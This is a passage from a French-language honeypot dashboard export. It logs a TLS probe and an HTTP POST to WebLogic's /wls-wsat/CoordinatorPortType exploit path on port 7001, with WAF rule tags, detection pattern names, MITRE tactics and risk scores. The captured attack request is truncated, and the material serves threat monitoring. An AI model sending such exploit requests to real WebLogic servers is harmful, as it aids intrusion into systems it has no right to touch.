"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd8x3\r\u0007\ufffdE\ufffdA\ufffd\ufffd\ufffd\ufffd\ufffd)\ufffdWO\ufffdsZ\ufffdvR\u05fb\ufffd\ufffd,]\ufffd u(2\ufffd\u0012\ufffd\ufffdMn\ufffd\u027a\ufffd\ufffdH\ufffd\ufffd\/\u001fq{\ufffdU\ufffdoF\ufffd~N\u0015\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd8x3\r\u0007\ufffdE\ufffdA\ufffd\ufffd\ufffd\ufffd\ufffd)\ufffdWO\ufffdsZ\ufffdvR\u05fb\ufffd\ufffd,]\ufffd u(2\ufffd\u0012\ufffd\ufffdMn\ufffd\u027a\ufffd\ufffdH\ufffd\ufffd\/\u001fq{\ufffdU\ufffdoF\ufffd~N\u0015\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "9e14c72c8488a5680a43a3002239d76d3e4fe72c",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd8x3\r\u0007\ufffdE\ufffdA\ufffd\ufffd\ufffd\ufffd\ufffd)\ufffdWO\ufffdsZ\ufffdvR\u05fb\ufffd\ufffd,]\ufffd u(2\ufffd\u0012\ufffd\ufffdMn\ufffd\u027a\ufffd\ufffdH\ufffd\ufffd\/\u001fq{\ufffdU\ufffdoF\ufffd~N\u0015\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd\ufffd8x3\r\ufffdE\ufffdA\ufffd\ufffd\ufffd\ufffd\ufffd)\ufffdWO\ufffdsZ\ufffdvR\u05fb\ufffd\ufffd,]\ufffd u(2\ufffd\ufffd\ufffdMn\ufffd\u027a\ufffd\ufffdH\ufffd\ufffd\/q{\ufffdU\ufffdoF\ufffd~N\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd8x3\r\u0007\ufffdE\ufffdA\ufffd\ufffd\ufffd\ufffd\ufffd)\ufffdWO\ufffdsZ\ufffdvR\u05fb\ufffd\ufffd,]\ufffd u(2\ufffd\u0012\ufffd\ufffdMn\ufffd\u027a\ufffd\ufffdH\ufffd\ufffd\/\u001fq{\ufffdU\ufffdoF\ufffd~N\u0015\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd8x3\r\ufffdE\ufffdA\ufffd\ufffd\ufffd\ufffd\ufffd)\ufffdWO\ufffdsZ\ufffdvR\u05fb\ufffd\ufffd,]\ufffd u(2\ufffd\ufffd\ufffdMn\ufffd\u027a\ufffd\ufffdH\ufffd\ufffd\/q{\ufffdU\ufffdoF\ufffd~N\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:38:49 UTC
TCP
7001 · HTTP
Sonde HTTP smuggling
http smuggling probe · via HTTP:7001 · (tentative d'exploit) · → /wls-wsat/CoordinatorPortType
Élevée
Élevé · 80
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
POST /wls-wsat/CoordinatorPortType UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
60
Recommandation
Investiguer
Tags
950079:sqli-19
950319:lfi-14
950326:rce-0
950327:rce-0
Cible HTTP
POST
/wls-wsat/CoordinatorPortType
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
7001
Chemin / cible
/wls-wsat/CoordinatorPortType
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
100%
Corrélation +8
Risque capteur
Élevé
· 80
Confiance : Confiance 95 % — Motif catalogue confirmé · 9 tag(s) WAF
Protocole émulé
1 Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
WebLogic wls-wsat
CRS 941130
LFI Double-dot bypass
Ligne de requête
POST /wls-wsat/CoordinatorPortType HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
sqli-19
lfi-14
rce-0
rce-13
ssrf-3
nosqli-3
Payload (extrait)
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.
Requête brute (extrait)
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Type:text/xml Content-Length:675 <soapenv:Envelope xmlns:soapenv="http://schemas.xml
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "99e47b274371fad76141ed1627f3bcdf29dce19a",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 880,
"payload_entropy": 5.10209790893301,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 7.2,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 80,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "e0a79c9936e518f81387a5d287db988baba3435a",
"event_fingerprint": "e444dfd56f7cf7dfce78a017248baf6c57b64aa5",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0602",
"pat-0284",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"WebLogic wls-wsat",
"CRS 941130",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0602",
"pat-0284",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "1078ecf9f690a99fcde4f9b5e460dfc4",
"path_pattern_hash": "16111671401e187b64b702a8ecb56bdf"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 80
},
"payload_preview": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"method": "POST",
"path": "\/wls-wsat\/CoordinatorPortType",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950379:rce-13",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"sqli-19",
"lfi-14",
"rce-0",
"rce-13",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"request_sample": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\nContent-Length:675\r\n\r\n<soapenv:Envelope xmlns:soapenv=\"http:\/\/schemas.xml",
"payload_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"evidence": {
"method": "POST",
"path": "\/wls-wsat\/CoordinatorPortType",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950379:rce-13",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"sqli-19",
"lfi-14",
"rce-0",
"rce-13",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"request_sample": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\nContent-Length:675\r\n\r\n<soapenv:Envelope xmlns:soapenv=\"http:\/\/schemas.xml",
"payload_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "cf7c81082fb32442bfc3e56742acb9b87b4dfe9b",
"protocol_details": {
"http_method": "POST",
"http_path": "\/wls-wsat\/CoordinatorPortType",
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wls-wsat\/CoordinatorPortType",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 9 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 80\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 80,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "POST",
"http_path": "\/wls-wsat\/CoordinatorPortType",
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wls-wsat\/CoordinatorPortType",
"evidence_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 9 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 9 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950379:rce-13",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"http_contenttype_attack_surface",
"http_jwt_body",
"http_probe_weblogic_wls",
"http_ssrf_body",
"net_web_probe"
]
}
24/07/2026 09:38:45 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
�b�B�^ �6��-O���� N�b���m��iw P&��攘���,����@4y����� � >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
�b�B�^
�6��-O���� N�b���m��iw P&��攘���,����@4y�����
� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
�b�B�^ �6��-O���� N�b���m��iw P&��攘���,����@4y����� � >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.9831968439900964,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "96559d14cea292db83b0bb89e982e618",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003b\ufffd\u0012B\ufffd^\n\ufffd6\u0003\ufffd\ufffd-O\ufffd\ufffd\ufffd\ufffd\tN\ufffdb\u0001\ufffd\ufffd\ufffdm\ufffd\ufffdiw\u0010 \u0007P&\ufffd\ufffd\u6518\ufffd\ufffd\ufffd,\ufffd\ufffd\ufffd\u0015\ufffd@4y\ufffd\ufffd\ufffd\ufffd\u0004\ufffd\r\ufffd\u001b\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003b\ufffd\u0012B\ufffd^\n\ufffd6\u0003\ufffd\ufffd-O\ufffd\ufffd\ufffd\ufffd\tN\ufffdb\u0001\ufffd\ufffd\ufffdm\ufffd\ufffdiw\u0010 \u0007P&\ufffd\ufffd\u6518\ufffd\ufffd\ufffd,\ufffd\ufffd\ufffd\u0015\ufffd@4y\ufffd\ufffd\ufffd\ufffd\u0004\ufffd\r\ufffd\u001b\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003b\ufffd\u0012B\ufffd^\n\ufffd6\u0003\ufffd\ufffd-O\ufffd\ufffd\ufffd\ufffd\tN\ufffdb\u0001\ufffd\ufffd\ufffdm\ufffd\ufffdiw\u0010 \u0007P&\ufffd\ufffd\u6518\ufffd\ufffd\ufffd,\ufffd\ufffd\ufffd\u0015\ufffd@4y\ufffd\ufffd\ufffd\ufffd\u0004\ufffd\r\ufffd\u001b\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
